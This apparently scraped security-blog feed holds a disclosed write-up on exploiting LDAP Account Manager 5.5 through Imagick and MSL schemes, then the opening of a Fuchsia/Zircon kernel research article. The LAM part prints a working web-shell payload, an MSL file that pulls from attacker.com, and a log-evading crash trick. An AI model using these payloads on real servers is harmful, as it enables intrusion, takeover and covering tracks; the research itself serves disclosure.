$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
configContext: cn=config
namingContexts: dc=linux,dc=company,dc=com
…

$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=*)" "*" +
…
objectClass: person
objectClass: ldapPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl
…

After extracting information, I discovered that almost every user record in the LDAP had the sshPublicKey property, containing the users’ SSH public keys. So, gaining access to this server would mean gaining access to the entire Linux infrastructure of this customer.

Since I wasn’t aware of any vulnerabilities in OpenLDAP, I decided to brute force the Apache server on port 443/tcp for any files and directories. There was only one directory:

[12:00:00] 301 -   344B   ->  /lam => https://10.0.0.1/lam/

And this is how I found the LAM system.

LDAP Account Manager

LDAP Account Manager (LAM) is a PHP web application for managing LDAP directories via a user-friendly web frontend. It’s one of the alternatives to FreeIPA.

I encountered the LAM 5.5 system:

The found /lam/ page redirected here

The default configuration of LAM allows any LDAP user to log in, but it might easily be changed to accept users from a specified administrative group only. Additional two-factor authentication, such as Yubico or TOTP, can be enforced as well.

The source code of LAM could be downloaded from its official GitHub page. LAM 5.5 was released in September 2016. The codebase of LAM 5.5 is quite poor compared to its newer versions, and this gave me some challenges.

In contrast to many web applications, LAM is not intended to be installed manually to a web server. LAM is included in Debian repositories and is usually installed from there or from deb/rpm packages. In such a setup, there should be no misconfigurations and no other software on the server.

Analyzing LDAP Account Manager

LAM 5.5 has a few scripts available for unauthenticated users.

I found an LDAP Injection, which was useless since the data were being injected into an anonymous LDAP session, and an Arbitrary Object Instantiation.

/lam/templates/help.php:

if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) {
    include_once(__DIR__ . "/../lib/modules.inc");
    if (isset($_GET['scope'])) {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']);
    }
    else {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']);
    }
…

/lib/modules.inc:

function getHelp($module,$helpID,$scope='') {
    …
    $moduleObject = moduleCache::getModule($module, $scope);
    …

/lam/lib/account.inc:

public static function getModule($name, $scope) {
    …
    self::$cache[$name . ':' . $scope] = new $name($scope);
    …

Here, the value of $_GET['module'] gets to $name, and the value of $_GET['scope'] gets to $scope. After this, the construction new $name($scope) is executed.

So, whether I would access the entire Linux infrastructure of this customer has come to whether I will be able to exploit this construction to a Remote Code Execution or not.

Exploiting “new $a($b)” via Custom Classes or Autoloading

In the construction new $a($b), the variable $a stands for the class name that the object will be created for, and the variable $b stands for the first argument that will be passed to the object’s constructor.

If $a and $b come from GET/POST, they can be strings or string arrays. If they come from JSON or elsewhere, they might have other types, such as object or boolean.

Let’s consider the following example:

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In this code, you can set  $a  to  App  or  App2  and  $b  to  uname -a. After this, the command  uname -a  will be executed.

When there are no such exploitable classes in your application, or you have the class needed in a separate file that isn’t included by the vulnerable code, you may take a look at autoloading functions.

Autoloading functions are set by registering callbacks via spl_autoload_register or by defining __autoload. They are called when an instance of an unknown class is trying to be created.


# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist.

In LAM 5.5, I wasn’t able to find any useful custom class, and I didn’t have autoloading either.

Exploiting “new $a($b)” via Built-In Classes

When you don’t have custom classes and autoloading, you can rely on built-in PHP classes only.

There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the get_declared_classes function, together with the custom classes:

var_dump(get_declared_classes());

Classes with useful constructors can be found via the reflection API.

Displaying constructors and their parameters using the reflation API: https://3v4l.org/2JEGF

If you control multiple constructor parameters and can call arbitrary methods afterwards, there are many ways to get a Remote Code Execution. But if you can pass only one parameter and don’t have any calls to the created object, there is almost nothing.

I know of only three ways to get something from new $a($b).

Exploiting SSRF + Phar deserialization

The SplFileObject class implements a constructor that allows connection to any local or remote URL:

new SplFileObject('http://attacker.com/');

This allows SSRF. Additionally, SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.

I didn’t need SSRF because I had access to the local network. And, I wasn’t able to find any POP-chain in LAM 5.5, so I didn’t even consider exploiting deserialization via Phar.

Exploiting PDOs

The PDO class has another interesting constructor:

new PDO("sqlite:/tmp/test.txt")

The PDO constructor accepts DSN strings, allowing us to connect to any local or remote database using installed database extensions. For example, the SQLite extension can create empty files.

When I tested this on my target server, I discovered that it didn’t have any PDO extensions. Neither SQLite, MySQL, ODBC, and so on.

SoapClient/SimpleXMLElement XXE

In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was vulnerable to XXE. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.

Discovering New Ways to Exploit “new $a($b)”

To discover new ways to exploit new $a($b), I decided to expand the surface of attack. I started with figuring out which PHP versions LAM 5.5 supports, as well as what PHP extensions it uses.

Since LAM is distributed via deb/rpm packages, it contains a configuration file with all its requirements and dependents:

Package: ldap-account-manager
Architecture: all
Depends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}
Recommends: php-apc
Suggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl
...

Contents of the configuration file for deb packages (see on GitHub)

LAM 5.5 requires PHP ≥ 5.4.26, and LDAP, GD, JSON, and Imagick extensions.

Imagick is infamous for remote code execution vulnerabilities, such as ImageTragick and others. That’s where I decided to continue my research.

The Imagick Extension

The Imagick extension implements multiple classes, including the class Imagick. Its constructor has only one parameter, which can be a string or a string array:

Imagick documentation: https://www.php.net/manual/en/imagick.construct.php

I tested whether  Imagick::__construct  accepts remote schemes and can connect to my host via HTTP:

Creating arbitrary Imagick instances in LAM 5.5
Receiving a connection from LAM 5.5

I discovered that the Imagick class exists on the target server, and executing  new Imagick(...) is enough to coerce the server to connect to my host. However, it wasn’t clear whether creating an Imagick instance is enough to trigger any vulnerabilities in ImageMagick.

I tried to send publicly available POCs to the server, but they all failed. After that, I decided to make it easy, and I asked for advice in one of the application security communities.

Luckily for me, Emil Lerner came to help. He said that if I could pass values such as “epsi:/local/path” or “msl:/local/path” to ImageMagick, it would use their scheme part, e.g., epsi or msl, to determine the file format.

Exploring the MSL Format

The most interesting ImageMagick format is MSL.

MSL stands for Magick Scripting Language. It’s a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem.

I tested whether new Imagick(...) allows msl: scheme:

Including an msl file via new Imagick(…)
Starting an HTTP server to serve files to be copied via MSL

The MSL scheme worked on the latest versions of PHP, Imagick, and ImageMagick!

Unfortunately, URLs like msl:http://attacker.com/ aren’t supported, and I needed to upload files to the server to make msl: work.

In LAM, there are no scripts that allow unauthenticated uploads, and I didn’t think that a technique with PHP_SESSION_UPLOAD_PROGRESS would help because I needed a well-formed XML file for MSL.

Imagick’s Path Parsing

Imagick supports not only its own URL schemes but also PHP schemes (such as “php://”, “zlib://”, etc). I decided to find out how it works.

Here is what I discovered.

A null-byte still works

An Imagick argument is truncated by a null-byte, even when it contains a PHP scheme:

# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");

# No errors
$a = new Imagick("http://attacker.com/test\x00test");
Square brackets can be used to detect ImageMagick

ImageMagick is capable of reading options, e.g., an image’s size or frame numbers, from square brackets from the end of the file path:

# No errors
$a = new Imagick("/tmp/positive.png[10x10]");

# No errors
$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");

This might be used to determine whether you control input into the ImageMagick library.

“https://” goes to PHP, but “https:/” goes to curl

ImageMagick supports more than 100 different schemes.

Half of ImageMagick’s schemes are mapped to external programs. This mapping can be viewed using the convert -list delegate command:

Output of convert -list delegate

By observing the convert -list delegate output, it’s possible to discover that both PHP and ImageMagick support HTTPS schemes.

Furthermore, passing the “https:/” string to new Imagick(...) bypasses PHP’s HTTPS client and invokes a curl process:

Invoking a curl process via new Imagick(…)

This also overcomes the TLS certificate check, because the -k flag is used. This flushes the server’s output to /tmp/*.dat file, which can be found by brute forcing /proc/[pid]/fd/[fd] filenames when the process is active.

I wasn’t able to receive a connection using the “https:/” scheme from the target server, probably because there was no curl.

PHP’s arrays can be used to enumerate files

When I discovered the curl technique with flushing the request data to /tmp/*.dat, and brute forcing /proc/[pid]/fd/[fd], I tested whether new Imagick('http://...') flushes data as well. It does!

I tested whether I could temporarily make an MSL content appear in /proc/[pid]/fd/[fd] of one of the Apache worker process, and access it subsequently from another one.

Since new Imagick(...) allows string arrays and stops processing entities after the first error, I was able to enumerate PIDs on the server and discover all PIDs of the Apache workers I can read file descriptors from:

Discovering all PIDs of the Apache worker processes I can read file descriptors from
Getting connections from ImageMagick that show PIDs I can read file descriptors from

I discovered that due to some hardening in Debian, I can access only the Apache worker process I execute code in and no others. However, this technique worked locally on my Arch Linux.

RCE #1: PHP Crash + Brute Force

After testing multiple ways to include a file from a file descriptor, I discovered that text:fd:30 and similar constructions case a worker process to crash on the remote web server:

The worker process will be restarted shortly by the parent Apache process

This is what made it initially possible to upload a web shell!

The idea was to create multiple PHP temporary files with our content using multipart/form-data requests. According to the default max_file_uploads value, any client can send up to 20 files in a multipart request, which will be saved to /tmp/phpXXXXXX paths, where X ∈ [A-Za-z0-9]. These files will never be deleted if we cause the worker that creates them to crash.

If we send 20,000 such multipart requests containing 20 files each, it will result in the creation of 400,000 temporary files.

20,000 × 20 = 400,000
(26+26+10)6 / 400,000 = 142,000
P(A) = 1 – (1 – 400,000/(26+26+10)6)142,000 ≈ 0.6321

So, in a 63.21% chance, after 142,000 tries we will be able to guess at least one temporary name and include our file with the MSL content.

👉 Sending more than 20,000 initial requests wouldn’t speed up the process. Any request that causes a crash is quite slow and takes more than a second. What’s more, the creation of more than 400,000 files may create unexpected overhead on the filesystem.

Let’s construct this multipart request!

First, we need to create an image with a web shell, since MSL allows only images to work with:

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

Second, let’s create an MSL file that will copy this image from our HTTP server to a writable web directory. It wasn’t hard to find such a directory in configuration files of LAM.

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://attacker.com/positive.png" />
<write filename="/var/lib/ldap-account-manager/tmp/positive.php" />
</image>

And third, let’s put it all together in Burp Suite Intruder:

Configuring Burp Suite Intruder

To make the attack smooth, I set the PHPSESSID cookie to prevent the creation of multiple session files (not to be confused with temporary upload files) and specified the direct IP of the server since it turned out that we had a balancer on 10.0.0.1 that was directing requests to different data centers.

Additionally, I enabled the denial-of-service mode in Burp Intruder to prevent descriptor exhaustion of Burp Suite, which might happen because of incorrect TCP handling on the server side.

After all 20,000 multipart requests were sent, I brute forced the /tmp/phpXXXXXX files via Burp Intruder:

Bruteforcing /tmp/phpXXXXXX files

There is nothing to see there; all the server responses stayed the same. However, after 120,000 tries, our web shell was uploaded!

Executing the “id” command on the target server

After this, we got administrative access to OpenLDAP, and took control over all Linux servers of this customer with the maximum privileges!

RCE #2: VID Scheme

I tried to reproduce the technique with text:fd:30 locally, and I discovered that this construction no longer crashes ImageMagick. I went deep to ImageMagick sources to find a new crash, and I found something much better.

Here is my discovery.

Let’s look into the function ReadVIDImage, which is used for parsing VID schemes:

A source code of ReadVIDImage (see on GitHub)

This function calls ExpandFilenames. The description of ExpandFilenames explains in details everything this function does.

The description for the ExpandFilenames function (see on GitHub)

The call of ExpandFilenames means that the VID scheme accepts masks, and constructs filepaths using them.

Therefore, by using the vid: scheme, we can include our temporary file with the MSL content without knowing its name:

Including an MSL file without knowing its name

After this, I discovered quite interesting caption: and info: schemes. The combination of both allows to eliminate an out-of-band connection, and create a web shell in one fell swoop:

Uploading a web shell via caption: and info: schemes
Getting content of the uploaded /var/lib/ldap-account-manager/tmp/positive.php file

This is how we were able to exploit this Arbitrary Object Instantiation in one request, and without any of the application’s classes!

The Final Payload

Here is the final payload for exploiting Arbitrary Object Instantiations:

Class Name: Imagick
Argument Value: vid:msl:/tmp/php*

-- Request Data --
Content-Type: multipart/form-data; boundary=ABC
Content-Length: ...
Connection: close
 
--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: text/plain
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" />
 <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
 <write filename="info:/var/www/swarm.php" />
</image>
--ABC--

It should work on every system on which the Imagick extension is installed, and it can be used in deserializations if you find a suitable gadget.

When the PHP runtime is libapache2-mod-php, you can prevent logging of this request by uploading a web shell and crashing the process at the same time:

Argument Value: ["vid:msl:/tmp/php*", "text:fd:30"]

Since the construction text:fd:30 doesn’t work on the latest ImageMagick, here is another one:

Crash Construction: str_repeat("vid:", 400)

This one works on every ImageMagick below 7.1.0-40 (released on July 4, 2022).

In installations like Nginx + PHP-FPM, the request wouldn’t disappear from Nginx’s logs, but it should not be written to PHP-FPM logs.

Afterword

Our team would like to say thank you to Roland Gruber, the developer of LAM, for the quick response and the patch, and to all researchers who previously looked at ImageMagick and shared their findings.

Timeline:

  • 16 June, 2022 — Reported to Roland Gruber
  • 16 June, 2022 — Initial reply from Roland Gruber
  • 27 June, 2022 — LAM 8.0 is released
  • 27 June, 2022 — CVE-2022-31084, CVE-2022-31085, CVE-2022-31086, CVE-2022-31087, CVE-2022-31088 are issued
  • 29 June, 2022 — LAM 8.0.1 is released, additional hardening has been done
  • 05 July, 2022 — Debian packages are updated
  • 14 July, 2022 — Public disclosure

Additionally, in case of exploitation of Arbitrary Object Instantiations with an injection to a constructor with two parameters, there is a public vector for this (in Russian). If you have three, four, or five parameters, you can use the SimpleXMLElement class and enable external entities.

Feel free to comment on this article on our Twitter. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

A Kernel Hacker Meets Fuchsia OS

By: admin
24 May 2022 at 09:52

Fuchsia is a general-purpose open-source operating system created by Google. It is based on the Zircon microkernel written in C++ and is currently under active development. The developers say that Fuchsia is designed with a focus on security, updatability, and performance. As a Linux kernel hacker, I decided to take a look at Fuchsia OS and assess it from the attacker’s point of view. This article describes my experiments.

Summary

  • In the beginning of the article, I will give an overview of the Fuchsia operating system and its security architecture.
  • Then I’ll show how to build Fuchsia from the source code and create a simple application to run on it.
  • A closer look at the Zircon microkernel: I’ll describe the workflow of the Zircon kernel development and show how to debug it using GDB and QEMU.
  • My exploit development experiments for the Zircon microkernel:
    • Fuzzing attempts,
    • Exploiting a memory corruption for a C++ object,
    • Kernel control-flow hijacking,
    • Planting a rootkit into Fuchsia OS.
  • Finally, the exploit demo.

I followed the responsible disclosure process for the Fuchsia security issues discovered during this research.

What is Fuchsia OS

Fuchsia is a general-purpose open-source operating system. Google started the development of this OS around 2016. In December 2020 this project was opened for contributors from the public. In May 2021 Google officially released Fuchsia running on Nest Hub devices. The OS supports arm64 and x86-64. Fuchsia is under active development and looks alive, so I decided to do some security experiments on it.

Let’s look at the main concepts behind the Fuchsia design. This OS is developed for the ecosystem of connected devices: IoT, smartphones, PCs. That’s why Fuchsia developers pay special attention to security and updatability. As a result, Fuchsia OS has unusual security architecture.

First of all, Fuchsia has no concept of a user. Instead, it is capability-based. The kernel resources are exposed to applications as objects that require the corresponding capabilities. The main idea is that an application can’t interact with an object if it doesn’t have an explicitly granted capability. Moreover, software running on Fuchsia should receive the least capabilities to perform its job. So, I think, the concept of local privilege escalation (LPE) in Fuchsia would be different from that in GNU/Linux systems, where an attacker executes code as an unprivileged user and exploits some vulnerability to gain root privileges.

The second interesting aspect: Fuchsia is based on a microkernel. That has great influence on the security properties of this OS. Compared to the Linux kernel, plenty of functionality is moved out from the Zircon microkernel to userspace. That makes the kernel attack surface smaller. See the scheme from the Fuchsia documentation below, which shows that Zircon implements only a few services unlike monolithic OS kernels. However, Zircon does not strive for minimality: it has over 170 syscalls, vastly more than a typical microkernel does.

Microkernel architecture

The next security solution I have to mention is sandboxing. Applications and system services live in Fuchsia as separate software units called components. These components run in isolated sandboxes. All inter-process communication (IPC) between them must be explicitly declared. Fuchsia even has no global file system. Instead, each component is given its own local namespace to operate. This design solution increases userspace isolation and security of Fuchsia applications. I think it also makes the Zircon kernel very attractive for an attacker, since Zircon provides system calls for all Fuchsia components.

Finally, Fuchsia has an unusual scheme of software delivery and updating. Fuchsia components are identified by URLs and can be resolved, downloaded, and executed on demand. The main goal of this design solution is to make software packages in Fuchsia always up to date, like web pages.

Component lifecycle

These security features made Fuchsia OS a new and interesting research target for me.

First try

The Fuchsia documentation provides a good tutorial describing how to get started with this OS. The tutorial gives a link to a script that can check your GNU/Linux system against the requirements for building Fuchsia from source:

$ ./ffx-linux-x64 platform preflight

It says that non-Debian distributions are not supported. However, I haven’t experienced any problems specific for Fedora 34.

The tutorial also provides instructions for downloading the Fuchsia source code and setting up the environment variables.

These commands build Fuchsia’s workstation product with developer tools for x86_64:

$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build

After building Fuchsia OS, you can start it in FEMU (Fuchsia emulator). FEMU is based on the Android Emulator (AEMU), which is a fork of QEMU.

$ fx vdl start -N
Fuchsia emulator screenshot

Creating a new component

Let’s create a “hello world” application for Fuchsia. As I mentioned earlier, Fuchsia applications and programs are called components. This command creates a template for a new component:

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

I want this component to print “hello” to the Fuchsia log:

#include <iostream>

int main(int argc, const char** argv)
{
  std::cout << "Hello from a13x, Fuchsia!\n";
  return 0;
}

The component manifest src/a13x-pwns-fuchsia/meta/a13x_pwns_fuchsia.cml should have this part to allow stdout logging:

program: {
    // Use the built-in ELF runner.
    runner: "elf",

    // The binary to run for this component.
    binary: "bin/a13x-pwns-fuchsia",

    // Enable stdout logging
    forward_stderr_to: "log",
    forward_stdout_to: "log",
},

These commands build Fuchsia with a new component:

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia
$ fx build

When Fuchsia with the new component is built, we can test it:

  1. Start FEMU with Fuchsia using the command fx vdl start -N in the first terminal on the host system
  2. Start Fuchsia package publishing server using the command fx serve in the second terminal on the host system
  3. Show Fuchsia logs using the command fx log in the third terminal on the host system
  4. Start the new component using the ffx tool in the fourth terminal on the host system:
 $ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm --recreate
Fuchsia component screenshot

In this screenshot (click to zoom in) we see that Fuchsia resolved the component by URL, downloaded and started it. Then the component printed Hello from a13x, Fuchsia! to the Fuchsia log in the third terminal.

Zircon kernel development workflow

Now let’s focus on the Zircon kernel development workflow. The Zircon source code in C++ is a part of the Fuchsia source code. Residing in the zircon/kernel subdirectory, it is compiled when Fuchsia OS is built. Zircon development and debugging requires running it in QEMU using the fx qemu -N command. However, when I tried it I got an error:

$ fx qemu -N
Building multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blk
ninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default'
ninja: no work to do.
ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

I discovered that this fault happens on machines that have a non-English console locale. This bug has been known for a long time. I have no idea why the fix hasn’t been merged yet. With this patch Fuchsia OS successfully starts on a QEMU/KVM virtual machine:

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.sh
index 705341e482c..5d1c7658d34 100644
--- a/tools/devshell/lib/fvm.sh
+++ b/tools/devshell/lib/fvm.sh
@@ -35,3 +35,3 @@ function fx-fvm-extend-image {
   fi
-  stat_output=$(stat "${stat_flags[@]}" "${fvmimg}")
+  stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}")
   if [[ "$stat_output" =~ Size:\ ([0-9]+) ]]; then

Running Fuchsia in QEMU/KVM enables debugging of the Zircon microkernel with GDB. Let’s see that in action.

1. Start Fuchsia with this command:

$ fx qemu -N -s 1 --no-kvm -- -s
  • The -s 1 argument specifies the number of virtual CPUs for this virtual machine. Having a single virtual CPU makes the debugging experience better.
  • The --no-kvm argument is useful if you need single-stepping during the debugging session. Otherwise KVM interrupts break the workflow and Fuchsia gets into the interrupt handler after each stepi or nexti GDB command. However, running Fuchsia VM without KVM virtualization support is much slower.
  • The -s argument at the end of the command opens a gdbserver on TCP port 1234.

2. Allow execution of the Zircon GDB script, which provides several things:

  • KASLR relocation for GDB, which is needed for setting breakpoints correctly.
  • Special GDB commands with a zircon prefix.
  • Pretty-printers for Zircon objects (none at the moment, alas).
  • Enhanced unwinder for Zircon kernel faults.
$ cat ~/.gdbinit
add-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py

3. Start the GDB client and attach to the GDB server of Fuchsia VM:

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234

This procedure is for debugging Zircon with GDB.

On my machine, however, the Zircon GDB script completely hanged on each start and I had to debug this script. I found out that it calls the add-symbol-file GDB command with the -readnow parameter, which requires reading the entire symbol file immediately. For some reason, GDB was unable to chew symbols from the 110MB Zircon binary within a reasonable time. Removing this option fixed the bug on my machine and allowed normal Zircon debugging (click on the GDB screenshot to zoom in):

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.py
index d027ce4af6d..8faf73ba19b 100644
--- a/zircon/kernel/scripts/zircon.elf-gdb.py
+++ b/zircon/kernel/scripts/zircon.elf-gdb.py
@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):
     # Reload the ELF with all sections set
-    gdb.execute("add-symbol-file \"%s\" 0x%x -readnow %s" \
+    gdb.execute("add-symbol-file \"%s\" 0x%x %s" \
                 % (sym_path, text_addr, " ".join(args)), to_string=True)
Zircon GDB screenshot

Getting closer to Fuchsia security: enable KASAN

KASAN (Kernel Address SANitizer) is a runtime memory debugger designed to find out-of-bounds accesses and use-after-free bugs. Fuchsia supports compiling the Zircon microkernel with KASAN. For this experiment I built the Fuchsia core product:

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan
$ fx build

For testing KASAN I added a synthetic bug to the Fuchsia code working with the TimerDispatcher object:

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.cc
index a83b750ad4a..14535e23ca9 100644
--- a/zircon/kernel/object/timer_dispatcher.cc
+++ b/zircon/kernel/object/timer_dispatcher.cc
@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {

+  bool uaf = false;
+
   {
@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {

+    if (deadline_ % 100000 == 31337) {
+      uaf = true;
+    }
+
     if (cancel_pending_) {
@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {
   // ourselves.
-  if (Release())
+  if (Release() || uaf)
     delete this;

As you can see, if the timer deadline value ends with 31337, then the TimerDispatcher object is freed regardless of the refcount value. I wanted to hit this kernel bug from the userspace component to see the KASAN error report. That is the code I added to my a13x-pwns-fuchsia component:

  zx_status_t status;
  zx_handle_t timer;
  zx_time_t deadline;

  status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);
  if (status != ZX_OK) {
    printf("[-] creating timer failed\n");
    return 1;
  }

  printf("[+] timer is created\n");

  deadline = zx_deadline_after(ZX_MSEC(500));
  deadline = deadline - deadline % 100000 + 31337;
  status = zx_timer_set(timer, deadline, 0);
  if (status != ZX_OK) {
    printf("[-] setting timer failed\n");
    return 1;
  }

  printf("[+] timer is set with deadline %ld\n", deadline);
  fflush(stdout);
  zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired

  zx_timer_cancel(timer); // hit UAF

Here the zx_timer_create() syscall is called. It initializes the timer handle of a new timer object. Then this program sets the timer deadline to the magic value that ends with 31337. While this program waits on zx_nanosleep(), Zircon deletes the fired timer. The following zx_timer_cancel() syscall for the deleted timer provokes use-after-free.

So executing this userspace component crashed the Zircon kernel and delivered a lovely KASAN report. Nice, KASAN works! Quoting the relevant parts:

ZIRCON KERNEL PANIC

UPTIME: 17826ms, CPU: 2
...

KASAN detected a write error: ptr={{{data:0xffffff806cd31ea8}}}, size=0x4, caller: {{{pc:0xffffffff003c169a}}}
Shadow memory state around the buggy address 0xffffffe00d9a63d5:
0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd
                                              ^^           
0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd

*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):
...

Halted
entering panic shell loop
! 

Zircon also prints the crash backtrace as a chain of some obscure kernel addresses. To make it human-readable, I had to process it with a special Fuchsia tool:

$ cat crash.txt | fx symbolize > crash_sym.txt

Here’s how the backtrace looks after fx symbolize:

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf
   #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d
   #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610
   #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e
   #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e
   #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d
   #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a
   #4.3  0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a
   #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a
   #4.1  0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a
   #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a
   #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02
   #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02
   #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02
   #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1
   #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1
   #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1
   #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8

